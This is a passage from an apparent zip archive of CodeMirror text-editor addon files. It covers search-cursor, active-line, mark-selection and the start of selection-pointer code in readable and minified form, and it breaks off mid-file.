f=a.keyName(c),g=b.getOption("extraKeys"),h=g&&g[f]||a.keyMap[b.getOption("keyMap")][f];"findNext"==h||"findPrev"==h||"findPersistentNext"==h||"findPersistentPrev"==h?(a.e_stop(c),l(b,d(b),e),b.execCommand(h)):"find"!=h&&"findPersistent"!=h||(a.e_stop(c),m(e,c))})),f&&j&&(l(b,i,j),n(b,c))}else
h(b,p(b),"Search
for:",j,(function(a){a&&!i.query&&b.operation((function(){l(b,i,a),i.posFrom=i.posTo=b.getCursor(),n(b,c)}))}))}function
n(b,c,e){b.operation((function(){var
g=d(b),h=f(b,g.query,c?g.posFrom:g.posTo);(h.find(c)||(h=f(b,g.query,c?a.Pos(b.lastLine()):a.Pos(b.firstLine(),0)),h.find(c)))&&(b.setSelection(h.from(),h.to()),b.scrollIntoView({from:h.from(),to:h.to()},20),g.posFrom=h.from(),g.posTo=h.to(),e&&e(h.from(),h.to()))}))}function
o(a){a.operation((function(){var
b=d(a);b.lastQuery=b.query,b.query&&(b.query=b.queryText=null,a.removeOverlay(b.overlay),b.annotate&&(b.annotate.clear(),b.annotate=null))}))}function
p(a){return'<span
class="CodeMirror-search-label">'+a.phrase("Search:")+'</span>
<input type="text" style="width: 10em"
class="CodeMirror-search-field"/> <span style="color:
#888"
class="CodeMirror-search-hint">'+a.phrase("(Use /re/
syntax for regexp search)")+"</span>"}function
q(a){return' <input type="text" style="width:
10em" class="CodeMirror-search-field"/> <span
style="color: #888"
class="CodeMirror-search-hint">'+a.phrase("(Use /re/
syntax for regexp search)")+"</span>"}function
r(a){return'<span
class="CodeMirror-search-label">'+a.phrase("With:")+'</span>
<input type="text" style="width: 10em"
class="CodeMirror-search-field"/>'}function
s(a){return'<span
class="CodeMirror-search-label">'+a.phrase("Replace?")+"</span>
<button>"+a.phrase("Yes")+"</button>
<button>"+a.phrase("No")+"</button>
<button>"+a.phrase("All")+"</button>
<button>"+a.phrase("Stop")+"</button>
"}function t(a,b,c){a.operation((function(){for(var
d=f(a,b);d.findNext();)if("string"!=typeof b){var
e=a.getRange(d.from(),d.to()).match(b);d.replace(c.replace(/\$(\d)/g,(function(a,b){return
e[b]})))}else d.replace(c)}))}function
u(a,b){if(!a.getOption("readOnly")){var
c=a.getSelection()||d(a).lastQuery,e='<span
class="CodeMirror-search-label">'+(b?a.phrase("Replace
all:"):a.phrase("Replace:"))+"</span>";h(a,e+q(a),e,c,(function(c){c&&(c=k(c),h(a,r(a),a.phrase("Replace
with:"),"",(function(d){if(d=j(d),b)t(a,c,d);else{o(a);var
e=f(a,c,a.getCursor("from")),g=function(){var
b,j=e.from();!(b=e.findNext())&&(e=f(a,c),!(b=e.findNext())||j&&e.from().line==j.line&&e.from().ch==j.ch)||(a.setSelection(e.from(),e.to()),a.scrollIntoView({from:e.from(),to:e.to()}),i(a,s(a),a.phrase("Replace?"),[function(){h(b)},g,function(){t(a,c,d)}]))},h=function(a){e.replace("string"==typeof
c?d:d.replace(/\$(\d)/g,(function(b,c){return
a[c]}))),g()};g()}})))}))}}a.commands.find=function(a){o(a),m(a)},a.commands.findPersistent=function(a){o(a),m(a,!1,!0)},a.commands.findPersistentNext=function(a){m(a,!1,!0,!0)},a.commands.findPersistentPrev=function(a){m(a,!0,!0,!0)},a.commands.findNext=m,a.commands.findPrev=function(a){m(a,!0)},a.commands.clearSearch=o,a.commands.replace=u,a.commands.replaceAll=function(a){u(a,!0)}}));PKA��[C��F�/�/'codemirror/addon/search/searchcursor.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"
  var Pos = CodeMirror.Pos

  function regexpFlags(regexp) {
    var flags = regexp.flags
    return flags != null ? flags : (regexp.ignoreCase ? "i" :
"")
      + (regexp.global ? "g" : "")
      + (regexp.multiline ? "m" : "")
  }

  function ensureFlags(regexp, flags) {
    var current = regexpFlags(regexp), target = current
    for (var i = 0; i < flags.length; i++) if
(target.indexOf(flags.charAt(i)) == -1)
      target += flags.charAt(i)
    return current == target ? regexp : new RegExp(regexp.source, target)
  }

  function maybeMultiline(regexp) {
    return /\\s|\\n|\n|\\W|\\D|\[\^/.test(regexp.source)
  }

  function searchRegexpForward(doc, regexp, start) {
    regexp = ensureFlags(regexp, "g")
    for (var line = start.line, ch = start.ch, last = doc.lastLine(); line
<= last; line++, ch = 0) {
      regexp.lastIndex = ch
      var string = doc.getLine(line), match = regexp.exec(string)
      if (match)
        return {from: Pos(line, match.index),
                to: Pos(line, match.index + match[0].length),
                match: match}
    }
  }

  function searchRegexpForwardMultiline(doc, regexp, start) {
    if (!maybeMultiline(regexp)) return searchRegexpForward(doc, regexp,
start)

    regexp = ensureFlags(regexp, "gm")
    var string, chunk = 1
    for (var line = start.line, last = doc.lastLine(); line <= last;) {
      // This grows the search buffer in exponentially-sized chunks
      // between matches, so that nearby matches are fast and don't
      // require concatenating the whole document (in case we're
      // searching for something that has tons of matches), but at the
      // same time, the amount of retries is limited.
      for (var i = 0; i < chunk; i++) {
        if (line > last) break
        var curLine = doc.getLine(line++)
        string = string == null ? curLine : string + "\n" +
curLine
      }
      chunk = chunk * 2
      regexp.lastIndex = start.ch
      var match = regexp.exec(string)
      if (match) {
        var before = string.slice(0, match.index).split("\n"),
inside = match[0].split("\n")
        var startLine = start.line + before.length - 1, startCh =
before[before.length - 1].length
        return {from: Pos(startLine, startCh),
                to: Pos(startLine + inside.length - 1,
                        inside.length == 1 ? startCh + inside[0].length :
inside[inside.length - 1].length),
                match: match}
      }
    }
  }

  function lastMatchIn(string, regexp, endMargin) {
    var match, from = 0
    while (from <= string.length) {
      regexp.lastIndex = from
      var newMatch = regexp.exec(string)
      if (!newMatch) break
      var end = newMatch.index + newMatch[0].length
      if (end > string.length - endMargin) break
      if (!match || end > match.index + match[0].length)
        match = newMatch
      from = newMatch.index + 1
    }
    return match
  }

  function searchRegexpBackward(doc, regexp, start) {
    regexp = ensureFlags(regexp, "g")
    for (var line = start.line, ch = start.ch, first = doc.firstLine();
line >= first; line--, ch = -1) {
      var string = doc.getLine(line)
      var match = lastMatchIn(string, regexp, ch < 0 ? 0 : string.length
- ch)
      if (match)
        return {from: Pos(line, match.index),
                to: Pos(line, match.index + match[0].length),
                match: match}
    }
  }

  function searchRegexpBackwardMultiline(doc, regexp, start) {
    if (!maybeMultiline(regexp)) return searchRegexpBackward(doc, regexp,
start)
    regexp = ensureFlags(regexp, "gm")
    var string, chunkSize = 1, endMargin = doc.getLine(start.line).length -
start.ch
    for (var line = start.line, first = doc.firstLine(); line >= first;)
{
      for (var i = 0; i < chunkSize && line >= first; i++) {
        var curLine = doc.getLine(line--)
        string = string == null ? curLine : curLine + "\n" +
string
      }
      chunkSize *= 2

      var match = lastMatchIn(string, regexp, endMargin)
      if (match) {
        var before = string.slice(0, match.index).split("\n"),
inside = match[0].split("\n")
        var startLine = line + before.length, startCh =
before[before.length - 1].length
        return {from: Pos(startLine, startCh),
                to: Pos(startLine + inside.length - 1,
                        inside.length == 1 ? startCh + inside[0].length :
inside[inside.length - 1].length),
                match: match}
      }
    }
  }

  var doFold, noFold
  if (String.prototype.normalize) {
    doFold = function(str) { return
str.normalize("NFD").toLowerCase() }
    noFold = function(str) { return str.normalize("NFD") }
  } else {
    doFold = function(str) { return str.toLowerCase() }
    noFold = function(str) { return str }
  }

  // Maps a position in a case-folded line back to a position in the
original line
  // (compensating for codepoints increasing in number during folding)
  function adjustPos(orig, folded, pos, foldFunc) {
    if (orig.length == folded.length) return pos
    for (var min = 0, max = pos + Math.max(0, orig.length -
folded.length);;) {
      if (min == max) return min
      var mid = (min + max) >> 1
      var len = foldFunc(orig.slice(0, mid)).length
      if (len == pos) return mid
      else if (len > pos) max = mid
      else min = mid + 1
    }
  }

  function searchStringForward(doc, query, start, caseFold) {
    // Empty string would match anything and never progress, so we
    // define it to match nothing instead.
    if (!query.length) return null
    var fold = caseFold ? doFold : noFold
    var lines = fold(query).split(/\r|\n\r?/)

    search: for (var line = start.line, ch = start.ch, last =
doc.lastLine() + 1 - lines.length; line <= last; line++, ch = 0) {
      var orig = doc.getLine(line).slice(ch), string = fold(orig)
      if (lines.length == 1) {
        var found = string.indexOf(lines[0])
        if (found == -1) continue search
        var start = adjustPos(orig, string, found, fold) + ch
        return {from: Pos(line, adjustPos(orig, string, found, fold) + ch),
                to: Pos(line, adjustPos(orig, string, found +
lines[0].length, fold) + ch)}
      } else {
        var cutFrom = string.length - lines[0].length
        if (string.slice(cutFrom) != lines[0]) continue search
        for (var i = 1; i < lines.length - 1; i++)
          if (fold(doc.getLine(line + i)) != lines[i]) continue search
        var end = doc.getLine(line + lines.length - 1), endString =
fold(end), lastLine = lines[lines.length - 1]
        if (endString.slice(0, lastLine.length) != lastLine) continue
search
        return {from: Pos(line, adjustPos(orig, string, cutFrom, fold) +
ch),
                to: Pos(line + lines.length - 1, adjustPos(end, endString,
lastLine.length, fold))}
      }
    }
  }

  function searchStringBackward(doc, query, start, caseFold) {
    if (!query.length) return null
    var fold = caseFold ? doFold : noFold
    var lines = fold(query).split(/\r|\n\r?/)

    search: for (var line = start.line, ch = start.ch, first =
doc.firstLine() - 1 + lines.length; line >= first; line--, ch = -1) {
      var orig = doc.getLine(line)
      if (ch > -1) orig = orig.slice(0, ch)
      var string = fold(orig)
      if (lines.length == 1) {
        var found = string.lastIndexOf(lines[0])
        if (found == -1) continue search
        return {from: Pos(line, adjustPos(orig, string, found, fold)),
                to: Pos(line, adjustPos(orig, string, found +
lines[0].length, fold))}
      } else {
        var lastLine = lines[lines.length - 1]
        if (string.slice(0, lastLine.length) != lastLine) continue search
        for (var i = 1, start = line - lines.length + 1; i <
lines.length - 1; i++)
          if (fold(doc.getLine(start + i)) != lines[i]) continue search
        var top = doc.getLine(line + 1 - lines.length), topString =
fold(top)
        if (topString.slice(topString.length - lines[0].length) !=
lines[0]) continue search
        return {from: Pos(line + 1 - lines.length, adjustPos(top,
topString, top.length - lines[0].length, fold)),
                to: Pos(line, adjustPos(orig, string, lastLine.length,
fold))}
      }
    }
  }

  function SearchCursor(doc, query, pos, options) {
    this.atOccurrence = false
    this.doc = doc
    pos = pos ? doc.clipPos(pos) : Pos(0, 0)
    this.pos = {from: pos, to: pos}

    var caseFold
    if (typeof options == "object") {
      caseFold = options.caseFold
    } else { // Backwards compat for when caseFold was the 4th argument
      caseFold = options
      options = null
    }

    if (typeof query == "string") {
      if (caseFold == null) caseFold = false
      this.matches = function(reverse, pos) {
        return (reverse ? searchStringBackward : searchStringForward)(doc,
query, pos, caseFold)
      }
    } else {
      query = ensureFlags(query, "gm")
      if (!options || options.multiline !== false)
        this.matches = function(reverse, pos) {
          return (reverse ? searchRegexpBackwardMultiline :
searchRegexpForwardMultiline)(doc, query, pos)
        }
      else
        this.matches = function(reverse, pos) {
          return (reverse ? searchRegexpBackward :
searchRegexpForward)(doc, query, pos)
        }
    }
  }

  SearchCursor.prototype = {
    findNext: function() {return this.find(false)},
    findPrevious: function() {return this.find(true)},

    find: function(reverse) {
      var result = this.matches(reverse, this.doc.clipPos(reverse ?
this.pos.from : this.pos.to))

      // Implements weird auto-growing behavior on null-matches for
      // backwards-compatibility with the vim code (unfortunately)
      while (result && CodeMirror.cmpPos(result.from, result.to) ==
0) {
        if (reverse) {
          if (result.from.ch) result.from = Pos(result.from.line,
result.from.ch - 1)
          else if (result.from.line == this.doc.firstLine()) result = null
          else result = this.matches(reverse,
this.doc.clipPos(Pos(result.from.line - 1)))
        } else {
          if (result.to.ch < this.doc.getLine(result.to.line).length)
result.to = Pos(result.to.line, result.to.ch + 1)
          else if (result.to.line == this.doc.lastLine()) result = null
          else result = this.matches(reverse, Pos(result.to.line + 1, 0))
        }
      }

      if (result) {
        this.pos = result
        this.atOccurrence = true
        return this.pos.match || true
      } else {
        var end = Pos(reverse ? this.doc.firstLine() : this.doc.lastLine()
+ 1, 0)
        this.pos = {from: end, to: end}
        return this.atOccurrence = false
      }
    },

    from: function() {if (this.atOccurrence) return this.pos.from},
    to: function() {if (this.atOccurrence) return this.pos.to},

    replace: function(newText, origin) {
      if (!this.atOccurrence) return
      var lines = CodeMirror.splitLines(newText)
      this.doc.replaceRange(lines, this.pos.from, this.pos.to, origin)
      this.pos.to = Pos(this.pos.from.line + lines.length - 1,
                        lines[lines.length - 1].length + (lines.length == 1
? this.pos.from.ch : 0))
    }
  }

  CodeMirror.defineExtension("getSearchCursor", function(query,
pos, caseFold) {
    return new SearchCursor(this.doc, query, pos, caseFold)
  })
  CodeMirror.defineDocExtension("getSearchCursor",
function(query, pos, caseFold) {
    return new SearchCursor(this, query, pos, caseFold)
  })

  CodeMirror.defineExtension("selectMatches", function(query,
caseFold) {
    var ranges = []
    var cur = this.getSearchCursor(query, this.getCursor("from"),
caseFold)
    while (cur.findNext()) {
      if (CodeMirror.cmpPos(cur.to(), this.getCursor("to")) >
0) break
      ranges.push({anchor: cur.from(), head: cur.to()})
    }
    if (ranges.length)
      this.setSelections(ranges, 0)
  })
});
PKA��[�B����+codemirror/addon/search/searchcursor.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var b=a.flags;return
null!=b?b:(a.ignoreCase?"i":"")+(a.global?"g":"")+(a.multiline?"m":"")}function
c(a,c){for(var
d=b(a),e=d,f=0;f<c.length;f++)-1==e.indexOf(c.charAt(f))&&(e+=c.charAt(f));return
d==e?a:new RegExp(a.source,e)}function
d(a){return/\\s|\\n|\n|\\W|\\D|\[\^/.test(a.source)}function
e(a,b,d){b=c(b,"g");for(var
e=d.line,f=d.ch,g=a.lastLine();e<=g;e++,f=0){b.lastIndex=f;var
h=a.getLine(e),i=b.exec(h);if(i)return{from:p(e,i.index),to:p(e,i.index+i[0].length),match:i}}}function
f(a,b,f){if(!d(b))return e(a,b,f);b=c(b,"gm");for(var
g,h=1,i=f.line,j=a.lastLine();i<=j;){for(var
k=0;k<h&&!(i>j);k++){var
l=a.getLine(i++);g=null==g?l:g+"\n"+l}h*=2,b.lastIndex=f.ch;var
m=b.exec(g);if(m){var
n=g.slice(0,m.index).split("\n"),o=m[0].split("\n"),q=f.line+n.length-1,r=n[n.length-1].length;return{from:p(q,r),to:p(q+o.length-1,1==o.length?r+o[0].length:o[o.length-1].length),match:m}}}}function
g(a,b,c){for(var d,e=0;e<=a.length;){b.lastIndex=e;var
f=b.exec(a);if(!f)break;var
g=f.index+f[0].length;if(g>a.length-c)break;(!d||g>d.index+d[0].length)&&(d=f),e=f.index+1}return
d}function h(a,b,d){b=c(b,"g");for(var
e=d.line,f=d.ch,h=a.firstLine();e>=h;e--,f=-1){var
i=a.getLine(e),j=g(i,b,f<0?0:i.length-f);if(j)return{from:p(e,j.index),to:p(e,j.index+j[0].length),match:j}}}function
i(a,b,e){if(!d(b))return h(a,b,e);b=c(b,"gm");for(var
f,i=1,j=a.getLine(e.line).length-e.ch,k=e.line,l=a.firstLine();k>=l;){for(var
m=0;m<i&&k>=l;m++){var
n=a.getLine(k--);f=null==f?n:n+"\n"+f}i*=2;var
o=g(f,b,j);if(o){var
q=f.slice(0,o.index).split("\n"),r=o[0].split("\n"),s=k+q.length,t=q[q.length-1].length;return{from:p(s,t),to:p(s+r.length-1,1==r.length?t+r[0].length:r[r.length-1].length),match:o}}}}function
j(a,b,c,d){if(a.length==b.length)return c;for(var
e=0,f=c+Math.max(0,a.length-b.length);;){if(e==f)return e;var
g=e+f>>1,h=d(a.slice(0,g)).length;if(h==c)return
g;h>c?f=g:e=g+1}}function k(a,b,c,d){if(!b.length)return null;var
e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var
g=c.line,h=c.ch,i=a.lastLine()+1-f.length;g<=i;g++,h=0){var
k=a.getLine(g).slice(h),l=e(k);if(1==f.length){var
m=l.indexOf(f[0]);if(-1==m)continue a;var
c=j(k,l,m,e)+h;return{from:p(g,j(k,l,m,e)+h),to:p(g,j(k,l,m+f[0].length,e)+h)}}var
q=l.length-f[0].length;if(l.slice(q)==f[0]){for(var
r=1;r<f.length-1;r++)if(e(a.getLine(g+r))!=f[r])continue a;var
s=a.getLine(g+f.length-1),t=e(s),u=f[f.length-1];if(t.slice(0,u.length)==u)return{from:p(g,j(k,l,q,e)+h),to:p(g+f.length-1,j(s,t,u.length,e))}}}}function
l(a,b,c,d){if(!b.length)return null;var
e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var
g=c.line,h=c.ch,i=a.firstLine()-1+f.length;g>=i;g--,h=-1){var
k=a.getLine(g);h>-1&&(k=k.slice(0,h));var
l=e(k);if(1==f.length){var m=l.lastIndexOf(f[0]);if(-1==m)continue
a;return{from:p(g,j(k,l,m,e)),to:p(g,j(k,l,m+f[0].length,e))}}var
q=f[f.length-1];if(l.slice(0,q.length)==q){for(var
r=1,c=g-f.length+1;r<f.length-1;r++)if(e(a.getLine(c+r))!=f[r])continue
a;var
s=a.getLine(g+1-f.length),t=e(s);if(t.slice(t.length-f[0].length)==f[0])return{from:p(g+1-f.length,j(s,t,s.length-f[0].length,e)),to:p(g,j(k,l,q.length,e))}}}}function
m(a,b,d,g){this.atOccurrence=!1,this.doc=a,d=d?a.clipPos(d):p(0,0),this.pos={from:d,to:d};var
j;"object"==typeof
g?j=g.caseFold:(j=g,g=null),"string"==typeof
b?(null==j&&(j=!1),this.matches=function(c,d){return(c?l:k)(a,b,d,j)}):(b=c(b,"gm"),g&&!1===g.multiline?this.matches=function(c,d){return(c?h:e)(a,b,d)}:this.matches=function(c,d){return(c?i:f)(a,b,d)})}var
n,o,p=a.Pos;String.prototype.normalize?(n=function(a){return
a.normalize("NFD").toLowerCase()},o=function(a){return
a.normalize("NFD")}):(n=function(a){return
a.toLowerCase()},o=function(a){return
a}),m.prototype={findNext:function(){return
this.find(!1)},findPrevious:function(){return
this.find(!0)},find:function(b){for(var
c=this.matches(b,this.doc.clipPos(b?this.pos.from:this.pos.to));c&&0==a.cmpPos(c.from,c.to);)b?c.from.ch?c.from=p(c.from.line,c.from.ch-1):c=c.from.line==this.doc.firstLine()?null:this.matches(b,this.doc.clipPos(p(c.from.line-1))):c.to.ch<this.doc.getLine(c.to.line).length?c.to=p(c.to.line,c.to.ch+1):c=c.to.line==this.doc.lastLine()?null:this.matches(b,p(c.to.line+1,0));if(c)return
this.pos=c,this.atOccurrence=!0,this.pos.match||!0;var
d=p(b?this.doc.firstLine():this.doc.lastLine()+1,0);return
this.pos={from:d,to:d},this.atOccurrence=!1},from:function(){if(this.atOccurrence)return
this.pos.from},to:function(){if(this.atOccurrence)return
this.pos.to},replace:function(b,c){if(this.atOccurrence){var
d=a.splitLines(b);this.doc.replaceRange(d,this.pos.from,this.pos.to,c),this.pos.to=p(this.pos.from.line+d.length-1,d[d.length-1].length+(1==d.length?this.pos.from.ch:0))}}},a.defineExtension("getSearchCursor",(function(a,b,c){return
new
m(this.doc,a,b,c)})),a.defineDocExtension("getSearchCursor",(function(a,b,c){return
new
m(this,a,b,c)})),a.defineExtension("selectMatches",(function(b,c){for(var
d=[],e=this.getSearchCursor(b,this.getCursor("from"),c);e.findNext()&&!(a.cmpPos(e.to(),this.getCursor("to"))>0);)d.push({anchor:e.from(),head:e.to()});d.length&&this.setSelections(d,0)}))}));PKA��[�9���	�	)codemirror/addon/selection/active-line.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var WRAP_CLASS = "CodeMirror-activeline";
  var BACK_CLASS = "CodeMirror-activeline-background";
  var GUTT_CLASS = "CodeMirror-activeline-gutter";

  CodeMirror.defineOption("styleActiveLine", false, function(cm,
val, old) {
    var prev = old == CodeMirror.Init ? false : old;
    if (val == prev) return
    if (prev) {
      cm.off("beforeSelectionChange", selectionChange);
      clearActiveLines(cm);
      delete cm.state.activeLines;
    }
    if (val) {
      cm.state.activeLines = [];
      updateActiveLines(cm, cm.listSelections());
      cm.on("beforeSelectionChange", selectionChange);
    }
  });

  function clearActiveLines(cm) {
    for (var i = 0; i < cm.state.activeLines.length; i++) {
      cm.removeLineClass(cm.state.activeLines[i], "wrap",
WRAP_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "background",
BACK_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "gutter",
GUTT_CLASS);
    }
  }

  function sameArray(a, b) {
    if (a.length != b.length) return false;
    for (var i = 0; i < a.length; i++)
      if (a[i] != b[i]) return false;
    return true;
  }

  function updateActiveLines(cm, ranges) {
    var active = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      var option = cm.getOption("styleActiveLine");
      if (typeof option == "object" && option.nonEmpty ?
range.anchor.line != range.head.line : !range.empty())
        continue
      var line = cm.getLineHandleVisualStart(range.head.line);
      if (active[active.length - 1] != line) active.push(line);
    }
    if (sameArray(cm.state.activeLines, active)) return;
    cm.operation(function() {
      clearActiveLines(cm);
      for (var i = 0; i < active.length; i++) {
        cm.addLineClass(active[i], "wrap", WRAP_CLASS);
        cm.addLineClass(active[i], "background", BACK_CLASS);
        cm.addLineClass(active[i], "gutter", GUTT_CLASS);
      }
      cm.state.activeLines = active;
    });
  }

  function selectionChange(cm, sel) {
    updateActiveLines(cm, sel.ranges);
  }
});
PKA��[��KK-codemirror/addon/selection/active-line.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b=0;b<a.state.activeLines.length;b++)a.removeLineClass(a.state.activeLines[b],"wrap",f),a.removeLineClass(a.state.activeLines[b],"background",g),a.removeLineClass(a.state.activeLines[b],"gutter",h)}function
c(a,b){if(a.length!=b.length)return!1;for(var
c=0;c<a.length;c++)if(a[c]!=b[c])return!1;return!0}function
d(a,d){for(var e=[],i=0;i<d.length;i++){var
j=d[i],k=a.getOption("styleActiveLine");if("object"==typeof
k&&k.nonEmpty?j.anchor.line==j.head.line:j.empty()){var
l=a.getLineHandleVisualStart(j.head.line);e[e.length-1]!=l&&e.push(l)}}c(a.state.activeLines,e)||a.operation((function(){b(a);for(var
c=0;c<e.length;c++)a.addLineClass(e[c],"wrap",f),a.addLineClass(e[c],"background",g),a.addLineClass(e[c],"gutter",h);a.state.activeLines=e}))}function
e(a,b){d(a,b.ranges)}var
f="CodeMirror-activeline",g="CodeMirror-activeline-background",h="CodeMirror-activeline-gutter";a.defineOption("styleActiveLine",!1,(function(c,f,g){var
h=g!=a.Init&&g;f!=h&&(h&&(c.off("beforeSelectionChange",e),b(c),delete
c.state.activeLines),f&&(c.state.activeLines=[],d(c,c.listSelections()),c.on("beforeSelectionChange",e)))}))}));PKA��[�fW,codemirror/addon/selection/mark-selection.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Because sometimes you need to mark the selected *text*.
//
// Adds an option 'styleSelectedText' which, when enabled, gives
// selected text the CSS class given as option value, or
// "CodeMirror-selectedtext" when the value is not a string.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("styleSelectedText", false,
function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.state.markedSelection = [];
      cm.state.markedSelectionStyle = typeof val == "string" ?
val : "CodeMirror-selectedtext";
      reset(cm);
      cm.on("cursorActivity", onCursorActivity);
      cm.on("change", onChange);
    } else if (!val && prev) {
      cm.off("cursorActivity", onCursorActivity);
      cm.off("change", onChange);
      clear(cm);
      cm.state.markedSelection = cm.state.markedSelectionStyle = null;
    }
  });

  function onCursorActivity(cm) {
    if (cm.state.markedSelection)
      cm.operation(function() { update(cm); });
  }

  function onChange(cm) {
    if (cm.state.markedSelection &&
cm.state.markedSelection.length)
      cm.operation(function() { clear(cm); });
  }

  var CHUNK_SIZE = 8;
  var Pos = CodeMirror.Pos;
  var cmp = CodeMirror.cmpPos;

  function coverRange(cm, from, to, addAt) {
    if (cmp(from, to) == 0) return;
    var array = cm.state.markedSelection;
    var cls = cm.state.markedSelectionStyle;
    for (var line = from.line;;) {
      var start = line == from.line ? from : Pos(line, 0);
      var endLine = line + CHUNK_SIZE, atEnd = endLine >= to.line;
      var end = atEnd ? to : Pos(endLine, 0);
      var mark = cm.markText(start, end, {className: cls});
      if (addAt == null) array.push(mark);
      else array.splice(addAt++, 0, mark);
      if (atEnd) break;
      line = endLine;
    }
  }

  function clear(cm) {
    var array = cm.state.markedSelection;
    for (var i = 0; i < array.length; ++i) array[i].clear();
    array.length = 0;
  }

  function reset(cm) {
    clear(cm);
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++)
      coverRange(cm, ranges[i].from(), ranges[i].to());
  }

  function update(cm) {
    if (!cm.somethingSelected()) return clear(cm);
    if (cm.listSelections().length > 1) return reset(cm);

    var from = cm.getCursor("start"), to =
cm.getCursor("end");

    var array = cm.state.markedSelection;
    if (!array.length) return coverRange(cm, from, to);

    var coverStart = array[0].find(), coverEnd = array[array.length -
1].find();
    if (!coverStart || !coverEnd || to.line - from.line <= CHUNK_SIZE ||
        cmp(from, coverEnd.to) >= 0 || cmp(to, coverStart.from) <= 0)
      return reset(cm);

    while (cmp(from, coverStart.from) > 0) {
      array.shift().clear();
      coverStart = array[0].find();
    }
    if (cmp(from, coverStart.from) < 0) {
      if (coverStart.to.line - from.line < CHUNK_SIZE) {
        array.shift().clear();
        coverRange(cm, from, coverStart.to, 0);
      } else {
        coverRange(cm, from, coverStart.from, 0);
      }
    }

    while (cmp(to, coverEnd.to) < 0) {
      array.pop().clear();
      coverEnd = array[array.length - 1].find();
    }
    if (cmp(to, coverEnd.to) > 0) {
      if (to.line - coverEnd.from.line < CHUNK_SIZE) {
        array.pop().clear();
        coverRange(cm, coverEnd.from, to);
      } else {
        coverRange(cm, coverEnd.to, to);
      }
    }
  }
});
PKA��[N^�0��0codemirror/addon/selection/mark-selection.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a){a.state.markedSelection&&a.operation((function(){g(a)}))}function
c(a){a.state.markedSelection&&a.state.markedSelection.length&&a.operation((function(){e(a)}))}function
d(a,b,c,d){if(0!=j(b,c))for(var
e=a.state.markedSelection,f=a.state.markedSelectionStyle,g=b.line;;){var
k=g==b.line?b:i(g,0),l=g+h,m=l>=c.line,n=m?c:i(l,0),o=a.markText(k,n,{className:f});if(null==d?e.push(o):e.splice(d++,0,o),m)break;g=l}}function
e(a){for(var
b=a.state.markedSelection,c=0;c<b.length;++c)b[c].clear();b.length=0}function
f(a){e(a);for(var
b=a.listSelections(),c=0;c<b.length;c++)d(a,b[c].from(),b[c].to())}function
g(a){if(!a.somethingSelected())return
e(a);if(a.listSelections().length>1)return f(a);var
b=a.getCursor("start"),c=a.getCursor("end"),g=a.state.markedSelection;if(!g.length)return
d(a,b,c);var
i=g[0].find(),k=g[g.length-1].find();if(!i||!k||c.line-b.line<=h||j(b,k.to)>=0||j(c,i.from)<=0)return
f(a);for(;j(b,i.from)>0;)g.shift().clear(),i=g[0].find();for(j(b,i.from)<0&&(i.to.line-b.line<h?(g.shift().clear(),d(a,b,i.to,0)):d(a,b,i.from,0));j(c,k.to)<0;)g.pop().clear(),k=g[g.length-1].find();j(c,k.to)>0&&(c.line-k.from.line<h?(g.pop().clear(),d(a,k.from,c)):d(a,k.to,c))}a.defineOption("styleSelectedText",!1,(function(d,g,h){var
i=h&&h!=a.Init;g&&!i?(d.state.markedSelection=[],d.state.markedSelectionStyle="string"==typeof
g?g:"CodeMirror-selectedtext",f(d),d.on("cursorActivity",b),d.on("change",c)):!g&&i&&(d.off("cursorActivity",b),d.off("change",c),e(d),d.state.markedSelection=d.state.markedSelectionStyle=null)}));var
h=8,i=a.Pos,j=a.cmpPos}));PKA��[����/codemirror/addon/selection/selection-pointer.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("selectionPointer", false, function(cm,
val) {
    var data = cm.state.selectionPointer;
    if (data) {
      CodeMirror.off(cm.getWrapperElement(), "mousemove",
data.mousemove);
      CodeMirror.off(cm.getWrapperElement(), "mouseout",
data.mouseout);
      CodeMirror.off(window, "scroll", data.windowScroll);
      cm.off("cursorActivity", reset);
      cm.off("scroll", reset);
      cm.state.selectionPointer = null;
